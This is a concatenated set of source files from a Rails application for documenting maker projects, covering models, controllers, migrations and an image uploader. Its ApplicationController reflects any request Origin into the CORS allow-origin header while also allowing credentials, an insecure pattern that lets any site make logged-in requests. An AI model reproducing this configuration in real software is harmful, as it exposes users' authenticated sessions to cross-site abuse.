"title" => @project.title,
"word_count" => @project.word_count,
"image_count" => @project.image_count,
"steps" => steps_json
]
}
puts '===========ADDING LOG==========='
s3.buckets[ENV['AWS_BUCKET']].objects[key].write(project_json.to_json)
else
# store all steps in the log file
steps_json = []
@project.steps.order(:position).each do |step|
#step.as_json(:only => [:id, :name, :position, :ancestry, :label, :label_color], :method => :first_image_path)
step_json = {
"id" => step.id,
"name" => step.name,
"position" => step.position,
"ancestry" => step.ancestry
}
# step_json["thumbnail_id"] = step.first_image.id if step.first_image.present?
step_json['label'] = step.label if step.label.present?
step_json['label_color'] = step.label_color if step.label.present?
steps_json << step_json
end
# append project update to existing json
update_json = {
"updated_at" => @project.updated_at.to_s,
"title" => @project.title,
"word_count" => @project.word_count,
"image_count" => @project.image_count,
"steps" => steps_json
}
# puts "update_json #{update_json}"
project_json = {
"data" => project_json["data"] << update_json
}
# puts "project_json.to_json #{project_json.to_json}"
puts '===========ADDING LOG==========='
s3.buckets[ENV['AWS_BUCKET']].objects[key].write(project_json.to_json)
end
end
end
# thumbnail_images - returns an array containing the urls of thumbnail images given the corresponding step_ids
def thumbnail_images(step_ids_array)
thumbnail_images = []
step_ids_array.each do |id|
if Step.exists?(id)
step_first_image = Step.find(id).first_image
if step_first_image.present? && step_first_image.original_image.blank?
thumbnail_images << step_first_image.image_path_url(:square_thumb) || step_first_image.s3_filepath
elsif step_first_image.present? && step_first_image.original_image.present?
thumbnail_images << Image.find(step_first_image.original_image).image_path_url
else
thumbnail_images << nil
end
else
thumbnail_images << nil
end
end
return thumbnail_images
end
# broken? - check if the positions in a project are not consequetive
def broken?
if self.steps.length == 0
return false
else
step_positions = self.steps.order(:position).pluck(:position)
if step_positions.length > 1
expected_positions = (0..step_positions.length-1).to_a
else
expected_positions = [0]
end
return (expected_positions != step_positions) || self.steps.where(:position => 0).length>1
end
end
# SCRIPTS
# script for adding a project description to a project based on the overview description
def add_project_description
clean_overview = ActionView::Base.full_sanitizer.sanitize(overview.description)
clean_overview = clean_overview.gsub(" ", "")
clean_overview = clean_overview.gsub("'", "'")
clean_overview = clean_overview.gsub("\r\n", " ")
clean_overview = clean_overview.gsub(""", '"')
clean_overview = clean_overview.gsub(";", ' ')
update_attributes(:description=> clean_overview)
end
# add users to projects after creating projects_users table
def add_project_users
project_user = User.find(user_id)
users << project_user
end
# script for updating position of steps based on published on date
def reset_step_positions
steps.order(:published_on).each_with_index do |step, index|
step.update_attributes(:position=>index)
end
end
# reset_ancestry: script for resetting the ancestry of steps in a project into a single, linear chain
def reset_ancestry
steps.order(:position).each do |step|
step.update_attributes(:ancestry=>steps.order(:position)[step.position-1].id)
end
end
# add privacy attribute to existing projects - published projects are public, unpublished are unlisted
def add_privacy
if self.published?
self.update_attributes(:privacy => "public")
end
end
end<file_sep>/app/models/collectify.rb
class Collectify < ActiveRecord::Base
include PublicActivity::Common
belongs_to :project
belongs_to :collection
attr_accessible :collection_id, :project_id
end
<file_sep>/db/migrate/20140131223016_add_user_id_to_design_file.rb
class AddUserIdToDesignFile < ActiveRecord::Migration
def change
add_column :design_files, :user_id, :integer
end
end
<file_sep>/app/controllers/versions_controller.rb
class VersionsController < ApplicationController
def revert
@projectID = params[:id]
logger.debug("@projectID: #{@projectID}")
@steps = Step.where("project_id"=>@projectID)
logger.debug("@steps.length: #{@steps.length}")
@steps.each do |step|
logger.debug("step.id: #{step.id}")
logger.debug("step.name: #{step.name}")
logger.debug("step.position: #{step.position}")
@step = step.versions.scoped.last
if @step != nil
@version = Version.find(@step)
if @version.reify
@version.reify.save!
end
end
end
redirect_to :back
end
end
<file_sep>/app/models/user.rb
class User < ActiveRecord::Base
include PublicActivity::Model
include PublicActivity::Common
include ActionView::Helpers::SanitizeHelper
activist
extend FriendlyId
friendly_id :username
# Include default devise modules. Others available are:
# :token_authenticatable, :confirmable,
# :lockable, :timeoutable and :omniauthable
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :trackable, :validatable,
:token_authenticatable, :confirmable, :lockable, :omniauthable, :omniauth_providers => [:google_oauth2, :village]
# Setup accessible (or protected) attributes for your model
attr_accessible :email, :password, :password_confirmation, :remember_me, :username, :avatar, :about_me, :notifications_viewed_at, :provider, :uid, :confirmed_at, :access_token, :admin, :last_sign_in_at, :sign_in_count, :banned
# attr_accessible :title, :body
has_many :collections, :dependent => :destroy
has_and_belongs_to_many :projects
before_destroy {
projects.clear
}
has_many :edits
# media files
has_many :images
has_many :videos
has_many :sounds
# Favorite projects
has_many :favorite_projects, :dependent => :destroy # just the 'relationships'
has_many :favorites, :through => :favorite_projects, :source=> :project # projects a user favorites
accepts_nested_attributes_for :projects
mount_uploader :avatar, AvatarUploader
validates :username, :presence => true
validates_uniqueness_of :username
before_save :ensure_authentication_token
acts_as_followable
acts_as_follower
# Settings
has_settings do |s|
s.key :email, :defaults => {:comments => true, :featured => true, :collaborator => true,
:favorited => true, :collectify_owner => true, :collectify_recipient => true, :followed => true, :remixed => true}
end
fields = (User.attribute_names - ["username, about_me"]).map{|o| o.to_sym}
searchable :ignore_attribute_changes_of => fields do
text :about_me, :stored => true do
strip_tags(about_me)
end
end
def admin?
return self.admin == true
end
# get attributes from village and create user account
def self.from_village_omniauth(auth)
provider = auth[:provider]
uid = auth[:uid].to_s
where("provider = ? and uid = ?", provider, uid).first_or_initialize do |user|
user.provider = auth.provider
user.uid = auth.uid
user.username = auth.info.name
user.email = auth.info.email
user.skip_confirmation!
if user.save
Rails.logger.info('created user')
else
# username or email exists, redirect to home page with notice
Rails.logger.info(user.errors.inspect)
end
end
end
# get attributes from google and create user
def self.from_google_omniauth(auth)
provider = auth[:provider]
uid = auth[:uid].to_s
where("provider = ? and uid = ?", provider, uid).first_or_initialize do |user|
user.provider = auth.provider
user.uid = auth.uid
user.username = auth.info.email.split("@").first
user.email = auth.info.email
user.skip_confirmation!
if user.save
Rails.logger.info('created user')
else
# username or email exists, redirect to home page with notice
Rails.logger.info(user.errors.inspect)
end
end
end
def self.new_with_session(params, session)
if session["devise.user_attributes"]
new(session["devise.user_attributes"], without_protection: true) do |user|
user.attributes = params
user.valid?
end
end
end
def confirmation_required?
super && !provider.present?
end
def password_required?
super && provider.blank?
end
def from_village?
return !self.uid.blank?
end
def email_required?
super && provider.blank?
end
def update_with_password(params, *options)
if encrypted_password.blank?
update_attributes(params, *options)
else
super
end
end
def skip_confirmation!
self.confirmed_at = Time.now
end
def last_updated_date
if !projects.blank?
time_ago_in_words(updated_at)
elsif last_sign_in_at
time_ago_in_words(last_sign_in_at)
else
time_ago_in_words(created_at)
end
end
# returns either the user's avatar profile image or the default image
def profile_img
if avatar.present?
return ActionController::Base.helpers.image_tag(avatar_url(:thumb))
else
return ActionController::Base.helpers.image_tag("default_avatar.png")
end
end
# only activity on the user's projects
def user_project_notifications
activities_as_recipient.where("owner_id != recipient_id OR recipient_id IS NULL OR owner_id IS NULL").where(:primary=>true).where("trackable_type !=?", "Step").order("created_at DESC").public_activities
end
def new_user_project_notifications
return activities_as_recipient.where("owner_id != recipient_id OR recipient_id IS NULL OR owner_id IS NULL").where(:primary=>true).where("trackable_type !=?", "Step").order("created_at DESC").where(:viewed=>false).public_activities
end
# all activity (including activity on the user's projects + activity on comments they follow)
def all_notifications
activities_as_recipient.where("owner_id != recipient_id OR recipient_id IS NULL OR owner_id IS NULL").where("trackable_type !=?", "Step").order("created_at DESC").public_activities
end
# notifications (not activities)
def all_new_notifications
activities_as_recipient.where(:viewed=>false).where("owner_id != recipient_id OR owner_id IS NULL").where("trackable_type != ?", "Step").order("created_at DESC").public_activities
end
def last_few_notifications
return all_notifications[0...3]
end
# activities of the current user on other user's projects
def user_activity
activities_as_owner.where("owner_id != recipient_id OR recipient_id IS NULL OR owner_id IS NULL").order("created_at DESC")
end
# returns unique set of comments left by user
def comments
activities_as_owner.where(:trackable_type=>"Comment").select("DISTINCT ON (trackable_id) *")
end
# returns (commentable) activity on steps made after the user commented on that step
def followed_comments
activities_as_recipient.comments.where(:primary=>false)
end
def followers_activity
PublicActivity::Activity.order("created_at desc").where(owner_id: self.following_users, owner_type: "User")
end
# SCRIPTS
# add_email_notifications: add email notifications for users that have an email
def add_email_notifications
if email.present?
settings(:email).update_attributes! :comments => true, :featured => true, :collaborator => true,
:favorited => true, :collectify_recipient => true, :collectify_owner => true, :followed => true, :remixed => true
else
settings(:email).update_attributes! :comments => false, :featured => false, :collaborator => false,
:favorited => false, :collectify_recipient => false, :collectify_owner => false, :followed => false, :remixed => false
end
end
def remove_email_notifications
settings(:email).update_attributes! :comments => false, :featured => false, :collaborator => false,
:favorited => false, :collectify_recipient => false, :collectify_owner => false, :followed => false, :remixed => false
end
def send_survey
SurveyWorker.perform_async(self.id)
end
# BAN USERS!
def active_for_authentication?
super && !self.banned
end
end<file_sep>/db/migrate/20130710153217_drop_position_from_video.rb
class DropPositionFromVideo < ActiveRecord::Migration
def up
remove_column :videos, :position
end
def down
end
end
<file_sep>/app/assets/javascripts/datepicker.js
$(document).ready(function(){
$('#step_published_on_date').datepicker();
});<file_sep>/app/controllers/question_controller.rb
class QuestionsController < ApplicationController
def create
@question = Question.find(params[:question_id])
@question.step.project.touch
end
def update
@question = Question.find(params[:question_id])
@question.step.project.touch
end
end<file_sep>/db/migrate/20140111064236_add_design_file_path_to_design_files.rb
class AddDesignFilePathToDesignFiles < ActiveRecord::Migration
def change
add_column :design_files, :design_file_path, :string
end
end
<file_sep>/app/controllers/charts_controller.rb
class ChartsController < ApplicationController
# users: cumulative number of users
def users
sum = 0
render json: User.where("sign_in_count > ?", 0).group_by_month(:created_at).count.map { |x,y| { x => (sum+=y)} }.reduce({}, :merge)
end
# users_by_month: number of user registrations by month
def users_by_month
render json: User.where("sign_in_count > ?", 0).group_by_month(:created_at).count
end
# steps: cumulative number of steps created
def steps
sum = 0
render json: Step.group_by_month(:created_at).count.map { |x,y| { x => (sum+=y)} }.reduce({}, :merge)
end
# steps_by_month: number of steps created per month
def steps_by_month
render json: Step.group_by_month(:created_at).count
end
# comments: cumulative comments created per month
def comments
sum = 0
render json: Comment.group_by_month(:created_at).count.map { |x,y| { x => (sum+=y)} }.reduce({}, :merge)
end
# comments_by_month: number of commments created per month
def comments_by_month
render json: Comment.group_by_month(:created_at).count
end
end
<file_sep>/app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
include PublicActivity::StoreController
protect_from_forgery
before_filter :set_notifications_viewed_at
before_filter :banned?
helper_method :projects_search
helper_method :collections_search
helper_method :users_search
before_filter :add_allow_credentials_headers
rescue_from CanCan::AccessDenied do |exception|
redirect_to errors_unauthorized_path
end
rescue_from OAuth2::Error do |exception|
if exception.response.status == 401
session[:user_id] = nil
session[:access_token] = nil
redirect_to root_url, alert: "Access token expired, try signing in again."
end
end
def after_sign_in_path_for(resource)
flash.keep(:notice)
sign_up_url = root_url.sub(/\/$/, '') + new_user_registration_path
sign_in_url = root_url.sub(/\/$/, '') + new_user_session_path
forgot_password_url = root_url.sub(/\/$/, '') + new_user_password_path
new_password_url = root_url.sub(/\/$/, '') + user_password_path
omni_auth_url = root_url.sub(/\/$/, '') + user_omniauth_authorize_path(:village)
if (request.referer == sign_in_url) || (request.referer == sign_up_url) || (request.env["omniauth.origin"] ) || (request.referer == forgot_password_url) || (request.referer.include? new_password_url)
root_path
else
stored_location_for(resource) || request.referer || root_path
end
end
def set_notifications_viewed_at
if current_user
# update notification seen date if user clicks on notification link
if !params[:notification_id].blank? && PublicActivity::Activity.where(:id=>params[:notification_id]).present?
PublicActivity::Activity.find(params[:notification_id]).update_attributes(:viewed=>true)
end
end
end
def oauth_client
@oauth_client ||= OAuth2::Client.new(ENV["OAUTH_LOCAL_ID"], ENV["OAUTH_LOCAL_SECRET"], site: ENV["OAUTH_VILLAGE_SERVER"])
end
def access_token
if session[:access_token]
current_user.update_attributes(:access_token => session[:access_token])
@access_token ||= OAuth2::AccessToken.new(oauth_client, session[:access_token])
elsif current_user.access_token.present?
@access_token ||= OAuth2::AccessToken.new(oauth_client, current_user.access_token)
end
end
def search
search_term = params[:search]
search_object = params[:search_object]
search_category = params[:category] # project categories
search_type = params[:type] # project / collection type
projects, projects_text = projects_search(search_term)
collections, collections_text = collections_search(search_term)
users, users_text = users_search(search_term)
if search_object.blank?
if projects.count > 0
redirect_to search_projects_path(:search => search_term, :search_results => projects, :search_text => projects_text, :project_count => projects.count, :collection_count => collections.count, :user_count => users.count)
else
if collections.count > 0
redirect_to search_collections_path(:search => search_term, :search_results => collections, :search_text => collections_text, :project_count => projects.count, :collection_count => collections.count, :user_count => users.count)
else
if users.count > 0
redirect_to search_users_path(:search => search_term, :search_results => users, :search_text => users_text, :project_count => projects.count, :collection_count => collections.count, :user_count => users.count)
else
redirect_to search_projects_path(:search => search_term, :search_results => projects, :search_text => projects_text, :project_count => projects.count, :collection_count => collections.count, :user_count => users.count)
end
end
end
else
if search_object == "project"
redirect_to search_projects_path(:search => search_term, :search_results => projects, :search_text => projects_text, :category => search_category, :type => search_type, :project_count => projects.count, :collection_count => collections.count, :user_count => users.count)
elsif search_object == "collection"
redirect_to search_collections_path(:search => search_term, :search_results => collections, :search_text => collections_text, :type => search_type, :project_count => projects.count, :collection_count => collections.count, :user_count => users.count)
else
redirect_to search_users_path(:search => search_term, :search_results => users, :search_text => users_text, :project_count => projects.count, :collection_count => collections.count, :user_count => users.count)
end
end
end
def projects_search(search_term)
search_string = '%' + search_term + '%'
projects = Project.public_projects.where("title ILIKE ? ", search_string).order("updated_at DESC").page(params[:projects_page]).per_page(9)
logger.debug("IN PROJECTS SEARCH with projects.count #{projects.count}")
projects_text = Hash.new
projects.each do |project|
projects_text[project.id] = project.description
end
search = Sunspot.search(Project) do
fulltext search_term do
highlight :description
end
end
projects2 = search.results
logger.debug("number of search results: #{projects2.length}")
projects2.each do |project|
unless projects.include?(project)
if project.public?
logger.debug("adding public project #{project.id}")
projects = projects << project
end
end
end
step_search = Sunspot.search(Step) do
fulltext search_term do
highlight :description
end
end
steps = step_search.results
steps.each do |step|
unless projects.include?(step.project)
if step.project.privacy == "public"
projects = projects << step.project
end
end
end
search.hits.each do |hit|
projects_text[hit.primary_key.to_i] = hit.highlights(:description)[0].format { |word| "<b>#{word}</b>" }
end
step_search.hits.each do |hit|
unless Step.where(:id=>hit.primary_key.to_i).first.project == nil
proj_id = Step.where(:id=>hit.primary_key.to_i).first.project.id
projects_text[proj_id] = hit.highlights(:description)[0].format { |word| "<b>#{word}</b>" }
end
end
projects = projects.compact
return [projects, projects_text]
end
def collections_search(search_term)
search_string = '%' + search_term + '%'
collections = Collection.published.where("name ILIKE ?", search_string).order("updated_at DESC")
collections_text = Hash.new
collections.each do |collection|
collections_text[collection.id] = collection.description
end
search = Sunspot.search(Collection) do
fulltext search_term do
highlight :description
end
end
collections2 = search.results
collections2.each do |collection|
unless collections.include?(collection)
collections = collections << collection
end
end
search.hits.each do |hit|
collections_text[hit.primary_key.to_i] = hit.highlights(:description)[0].format { |word| "<b>#{word}</b>" }
end
collections = collections.compact
return collections, collections_text
end
def users_search(search_term)
search_string = '%' + search_term + '%'
users = User.where("username ILIKE ?", search_string).order("updated_at DESC").page(params[:page]).per_page(9)
users_text = Hash.new
users.each do |user|
users_text[user.id] = user.about_me
end
search = Sunspot.search(User) do
fulltext search_term do
highlight :about_me
end
end
users2 = search.results
users2.each do |user|
unless users.include?(user)
users = users << user
end
end
search.hits.each do |hit|
users_text[hit.primary_key.to_i] = hit.highlights(:about_me)[0].format { |word| "<b>#{word}</b>" }
end
users = users.compact
return users, users_text
end
def add_allow_credentials_headers
# https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS#section_5
#
# Because we want our front-end to send cookies to allow the API to be authenticated
# (using 'withCredentials' in the XMLHttpRequest), we need to add some headers so
# the browser will not reject the response
response.headers['Access-Control-Allow-Origin'] = request.headers['Origin'] || '*'
response.headers['Access-Control-Allow-Credentials'] = 'true'
end
def banned?
if current_user.present? && current_user.banned?
sign_out_current_user
flash[:error] = "Your account has been suspended due to inappropriate use."
root_path
end
end
end
<file_sep>/db/migrate/20140310190258_add_village_id_to_project.rb
class AddVillageIdToProject < ActiveRecord::Migration
def change
add_column :projects, :village_id, :integer
end
end
<file_sep>/app/models/step.rb
class Step < ActiveRecord::Base
include PublicActivity::Common
include ActionView::Helpers::SanitizeHelper
extend FriendlyId
serialize :original_authors
acts_as_commentable
friendly_id :position
has_ancestry :orphan_strategy => :adopt
attr_accessible :description, :name, :position, :project_id, :images_attributes, :parent_id, :ancestry, :published_on, :last, :user_id, :question_attributes, :design_files_attributes, :original_authors, :label, :label_color, :pin
belongs_to :project
has_many :users, through: :edits
has_many :edits, :dependent => :destroy
has_many :images, :dependent => :destroy
has_many :videos, :dependent => :destroy
has_many :sounds, :dependent => :destroy
has_one :question, :dependent => :destroy
has_many :design_files, :dependent => :destroy
accepts_nested_attributes_for :images, :allow_destroy => :true
accepts_nested_attributes_for :videos, :allow_destroy => :true
accepts_nested_attributes_for :question, :allow_destroy => :true, :reject_if => proc { |attributes| attributes['description'].blank? }
accepts_nested_attributes_for :design_files, :allow_destroy => :true
scope :first_step, where(:name=> "Project Overview")
scope :not_labels, where(:label=> nil)
validates :name, :presence => true
after_update :check_decision
searchable do
text :description, :stored => true do
strip_tags(description)
end
end
def published_on_formatted
published_on.strftime("%m/%d/%Y %H:%M:%S")
end
def published_on_date
published_on.strftime("%m/%d/%Y")
end
def published_on_time
published_on.strftime("%I:%M %p")
end
def first_image
images.order("position ASC").first if images
end
def last_image
images.order("position ASC").last if images
end
def has_video?
return !video.blank?
end
def remix?
return project.is_remix?
end
def has_unanswered_question?
if question && !question.answered
return true
else
return false
end
end
def check_decision
if question && question.answered && question.decision && (question.decision.description=="I decided to ..." || question.decision.description.blank?)
question.decision.destroy
end
end
# test whether step is a label
def is_label?
return label==true
end
# add users to steps after creating steps_users table
def add_step_users
step_user = User.find(user_id)
users << step_user
end
# returns a list of authors for the project
def authors
author_list = ""
num_users = users.count
users.each_with_index do |user, index|
logger.debug('#{index}')
if num_users > 2 && index == num_users-1
author_list += ' , and '
end
author_list += user.username
if num_users == 2 && index == 0
author_list += ' and '
elsif num_users > 2 && index != num_users-2 && index != num_users-1
author_list += ' , '
end
end
return author_list
end
# set original authors to steps of projects that are remixes - only for projects that only have one author!
def set_original_authors
original_author = Project.find(project.remix_ancestry).users.first
update_attributes(:original_authors => Array.new << original_author.id)
end
# new authors in a remix project (authors that aren't part of the original_authors)
def new_authors
if original_authors
user_ids = users.pluck(:id) - original_authors
new_authors_array = Array.new
if user_ids.length > 0
user_ids.each do |user_id|
new_authors_array << User.find(user_id)
end
end
return new_authors_array
else
return users
end
end
# editing_authors - checks what authors are currently editing the step
# returns the user object of the editing author
def editing_authors
conflict_authors_array = Array.new
edits.each do |edit|
if edit.started_editing_at.present?
conflict_authors_array << edit.user
end
end
return conflict_authors_array
end
# generate a news item
def generate_news_item
news_step_id = self.id
news_title = self.name
if self.project.title.downcase.include? "website"
news_type = "website"
else
news_type = "mobile"
end
News.create(:title => news_title, :step_id => news_step_id, :news_type => news_type)
end
# generate the path to a step's thumbnail image (used for logger)
def first_image_path
first_image = self.first_image
if first_image.present?
if first_image.image_path.present?
return first_image.image_path_url
elsif first_image.s3_filepath.present?
return first_image.s3_filepath
end
end
end
######## SCRIPTS ########
# add edits
def add_edits
Edit.create(step_id: id, project_id: project_id, user_id: user_id)
end
def self.description_to_csv
CSV.generate do |csv|
all.each do |step|
if step.description && step.description.present?
csv << [ActionView::Base.full_sanitizer.sanitize(step.description).to_s.gsub(/\r/,"").gsub(/\n/,"").gsub(/\ /,"").gsub(/\t/,"")]
end
end
end
end
end
<file_sep>/db/migrate/20130816201212_add_notifications_viewed_at_to_user.rb
class AddNotificationsViewedAtToUser < ActiveRecord::Migration
def change
add_column :users, :notifications_viewed_at, :datetime
end
end
<file_sep>/db/migrate/20131128152258_rename_solved_to_answered.rb
class RenameSolvedToAnswered < ActiveRecord::Migration
def change
rename_column :questions, :solved, :answered
end
end
<file_sep>/app/models/edit.rb
class Edit < ActiveRecord::Base
attr_accessible :started_editing_at, :user_id, :project_id, :step_id, :temp
belongs_to :user
belongs_to :step
belongs_to :project
# reset the started editing at for an edit to nil
def reset_started_editing_at
update_attributes(:started_editing_at => nil)
end
end
<file_sep>/app/controllers/users_controller.rb
class UsersController < ApplicationController
#users_controller.rb
before_filter :get_category_count, except: [:search]
# retrieve the categories for the user_info partial
def get_category_count
if(params[:id])
@user = User.find(params[:id].downcase)
@all_projects = @user.projects.order("updated_at DESC")
@arts_and_crafts_count = 0
@clothing_count = 0
@cooking_count = 0
@electronics_count = 0
@mechanical_count = 0
@other_count = 0
arts_and_crafts_category = Category.where(:name => "Arts & Crafts").first
clothing_category = Category.where(:name => "Clothing").first
cooking_category = Category.where(:name => "Cooking").first
electronics_category = Category.where(:name => "Electronics").first
mechanical_category = Category.where(:name => "Mechanical").first
other_category = Category.where(:name => "Other").first
@all_projects.each do |project|
if project.categories.include?(arts_and_crafts_category)
@arts_and_crafts_count += 1
end
if project.categories.include?(clothing_category)
@clothing_count += 1
end
if project.categories.include?(cooking_category)
@cooking_count += 1
end
if project.categories.include?(electronics_category)
@electronics_count += 1
end
if project.categories.include?(mechanical_category)
@mechanical_count += 1
end
if project.categories.include?(other_category)
@other_count += 1
end
end
end
end
def show
if current_user == @user
@projects = @user.projects.order("updated_at DESC").page(params[:projects_page]).per_page(9)
else
# only show public projects
@projects = @user.projects.public_projects.order("updated_at DESC").page(params[:projects_page]).per_page(9)
end
@authorLoggedIn = current_user == @user
@favoriteProjects = @user.favorite_projects.order("updated_at DESC").page(params[:favorites_page]).per_page(9)
@collections = @user.collections.order("updated_at DESC").page(params[:collections_page]).per_page(9)
respond_to do |format|
format.html
format.json {
# don't allow users to load this page unless they're admin
if params[:auth_token].present?
Rails.logger.debug("current_user #{current_user.username}")
if !current_user.admin? && @user.authentication_token != params[:auth_token]
redirect_to errors_unauthorized_path
end
elsif ( (current_user && current_user != @user) && (!current_user.admin?) ) || current_user.blank?
redirect_to errors_unauthorized_path
end
}
format.xml { render :xml => @projects}
end
end
def edit_profile
authorize! :edit_profile, @user
respond_to do |format|
format.html
end
end
# validate uniqueness of email
def validate_email
email = params[:email]
# valid if username doesn't exist already
valid = !User.pluck(:email).include?(email)
respond_to do |format|
format.json {render :json => valid}
end
end
def validate_username
username = params[:username]
# valid if username doesn't exist already
valid = !User.pluck(:username).include?(username)
respond_to do |format|
format.json {render :json => valid}
end
end
# GET /user/username/projects
def projects
@projects = @user.projects.order("updated_at DESC")
respond_to do |format|
format.html
end
end
# GET /user/username/projects
def favorites
@favoriteProjects = @user.favorite_projects.order("updated_at DESC")
respond_to do |format|
format.html
end
end
# GET /user/username/collections
def collections
@collections = @user.collections.order("updated_at DESC")
respond_to do |format|
format.html
end
end
def follow
if current_user
current_user.follow(@user)
@activity = @user.create_activity :follow, owner: current_user, recipient: @user, primary: true
# create email notification
if @user.settings(:email).followed == true
NotificationMailer.delay.notification_message(@activity, @user)
end
end
respond_to do |format|
format.js
format.html { redirect_to user_path(@user)}
end
end
def unfollow
if current_user
current_user.stop_following(@user)
PublicActivity::Activity.where("trackable_type = ? AND trackable_id = ?", "User", @user.id).destroy_all
end
respond_to do |format|
format.js
format.html { redirect_to user_path(@user) }
end
end
def following
@following = @user.following_users.page(params[:following_page])
respond_to do |format|
format.html # index.html.erb
format.js
format.json { render :json => @following }
end
end
def followers
@followers = @user.user_followers.page(params[:followers_page])
respond_to do |format|
format.html # index.html.erb
format.js
format.json { render :json => @followers }
end
end
def search
@search_term = params[:search]
@users = params[:search_results]
@users_text = params[:search_text]
@project_count = params[:project_count] ||= "0"
@collection_count = params[:collection_count] ||= "0"
@user_count = params[:user_count] ||= "0"
respond_to do |format|
format.html
format.js
format.json { render :json => @users }
end
end
# touch: update the user's updated at date if logged in
def touch
if current_user
current_user.touch
end
respond_to do |format|
format.json {render :nothing => true}
end
end
end<file_sep>/app/uploaders/image_path_uploader.rb
require 'new_relic/agent/method_tracer'
require 'mini_exiftool'
class ImagePathUploader < CarrierWave::Uploader::Base
include ::NewRelic::Agent::MethodTracer
# Include RMagick or MiniMagick support:
include CarrierWave::MiniMagick
# Include the Sprockets helpers for Rails 3.1+ asset pipeline compatibility:
include Sprockets::Helpers::RailsHelper
include Sprockets::Helpers::IsolatedHelper
# Choose what kind of storage to use for this uploader:
# storage :file
storage :fog
include CarrierWave::MimeTypes
process :set_content_type
process :fix_exif_rotation
def fix_exif_rotation #this is my attempted solution
manipulate! do |img|
img.tap(&:auto_orient)
end
end
# process :rotate_img
# Override the directory where uploaded files will be stored.
# This is a sensible default for uploaders that are meant to be mounted:
def store_dir
"#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
end
# Provide a default URL as a default if there hasn't been a file uploaded:
# def default_url
# # For Rails 3.1+ asset pipeline compatibility:
# # asset_path("fallback/" + [version_name, "default.png"].compact.join('_'))
#
# "/images/fallback/" + [version_name, "default.png"].compact.join('_')
# end
# Add a white list of extensions which are allowed to be uploaded.
# For images you might use something like this:
def extension_white_list
%w(jpg jpeg gif png)
end
def is_landscape?(new_file)
image = ::MiniMagick::Image::read(File.binread(@file.file))
image[:width] >= image[:height]
end
def is_portrait?(new_file)
!is_landscape?(new_file)
end
def not_small_image?(new_file)
image = ::MiniMagick::Image::read(File.binread(@file.file))
image[:width] >= 500 || image[:height] >= 500
end
def add_square_thumb
recreate_versions!(:square_thumb)
end
add_method_tracer :add_square_thumb, 'Custom/add_square_thumb'
def add_preview_large
recreate_versions!(:preview_large)
end
add_method_tracer :add_preview_large, 'Custom/add_preview_large'
# def rotate_img
# if model.rotation.present? && !model.rotated
# Rails.logger.debug("********IN ROTATE_IMG IN IMAGE_PATH_UPLOADER FOR #{model.id}")
# manipulate! do |img|
# img.rotate model.rotation
# img
# end
# model.update_column("rotated", nil)
# model.update_column("rotation", nil)
# end
# end
process :resize_to_limit => [900, 900]
add_method_tracer :resize_to_limit, 'Custom/resize_to_limit'
version :preview do
self.class.trace_execution_scoped(['Custom/create_preview']) do
process :resize_to_fill => [380,285]
end
end
version :preview_large do
self.class.trace_execution_scoped(['Custom/create_preview_large']) do
process :resize_to_fill => [760,570]
end
end
version :thumb do
self.class.trace_execution_scoped(['Custom/thumb']) do
process :resize_to_limit => [105,158]
end
end
version :square_thumb do
self.class.trace_execution_scoped(['Custom/square_thumb']) do
process :resize_to_fill => [105, 105]
end
end
end
<file_sep>/.irbrc
require 'rubygems'
require 'hirb'
extend Hirb::console
Hirb::View.enable<file_sep>/app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
if current_user
@activities = current_user.followers_activity.where("created_at > ? ", 2.weeks.ago).public_activities.uniq_by(&:trackable_id).first(10)
end
@community_activity_array = Array.new
questions = Question.where("created_at >?", 1.month.ago).featured.unanswered.limit(10).order("RANDOM()")
# add to community activity array questions with the format ["question", question_description, project_title, project_id, step_id]
questions.each_with_index do |question, index|
if question.step.project.public?
question_holder = Array.new
question_holder = ["question", question.description, question.step.project.title, question.step.project.id, question.step.id]
@community_activity_array << question_holder
end
end
comments = Comment.featured.order('created_at DESC').first(10).shuffle.select {|comment| comment.body.length > 40}
# add to the community activity array comments with the format ["comment", comment_description, project_title, project_id, step_id]
comments.each do |comment|
if comment.commentable.project.public?
comment_holder = Array.new
comment_holder = ["comment", comment.body, comment.commentable.project.title, comment.commentable.project.id, comment.commentable.id]
@community_activity_array << comment_holder
end
end
Rails.logger.debug("@community_activity : #{@community_activity}")
@latestProjects = Project.public_projects.order("updated_at DESC").limit(5)
@featuredProjects = Project.featured.public_projects.order("featured_on_date DESC").limit(4)
# @comments = Comment.last(20).where("length(body) > 20").limit(5)
@newsItems = News.order("created_at DESC").limit(2)
if @newsItems.length > 0 && @newsItems.first.created_at > 1.week.ago
@latestNews = @newsItems.first
end
end
def hide_announcement
cookies.permanent.signed[:hidden_announcement_id] = params[:id]
respond_to do |format|
format.html {redirect_to :back}
format.js
end
end
def mobile_request_create
@message = Message.new(params[:message])
if @message.valid?
MobileMailer.new_message(@message).deliver
redirect_to(mobile_path, :notice => "Your request has been sent!")
else
flash.now.alert = "Please fill all fields."
render :mobile_android
end
end
# dashboard page
def dashboard
if current_user && current_user.admin?
respond_to do |format|
format.html
format.csv {send_data Step.description_to_csv}
end
else
redirect_to url_for(:controller => "errors", :action => "show", :code => "401")
end
end
end
<file_sep>/db/migrate/20130110202449_rename_image_url.rb
class RenameImageUrl < ActiveRecord::Migration
def change
rename_column :images, :url, :file
end
end
<file_sep>/db/migrate/20140514160100_add_label_to_step.rb
class AddLabelToStep < ActiveRecord::Migration
def change
add_column :steps, :label, :boolean
end
end
<file_sep>/app/models/question.rb
class Question < ActiveRecord::Base
include PublicActivity::Common
attr_accessible :answered, :description, :step_id, :decision_attributes, :featured
belongs_to :step
has_one :decision, :dependent => :destroy
accepts_nested_attributes_for :decision
after_create :touch_project
after_update :check_blank
scope :unanswered, where(:answered=>false)
scope :featured, where(:featured => nil)
scope :answered, where(:answered=>true)
def touch_project
step.project.touch
end
def check_blank
if description.blank?
self.destroy
end
end
def answered?
return self.answered
end
end
<file_sep>/db/seeds.rb
# This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
#
# Examples:
#
# cities = City.create([{ :name => 'Chicago' }, { :name => 'Copenhagen' }])
# Mayor.create(:name => 'Emanuel', :city => cities.first)
["Arts & Crafts", "Clothing", "Cooking", "Electronics", "Mechanical", "Other"].each do |category|
Category.create(:name => category)
end<file_sep>/README.md
# Build In Progress Web Application
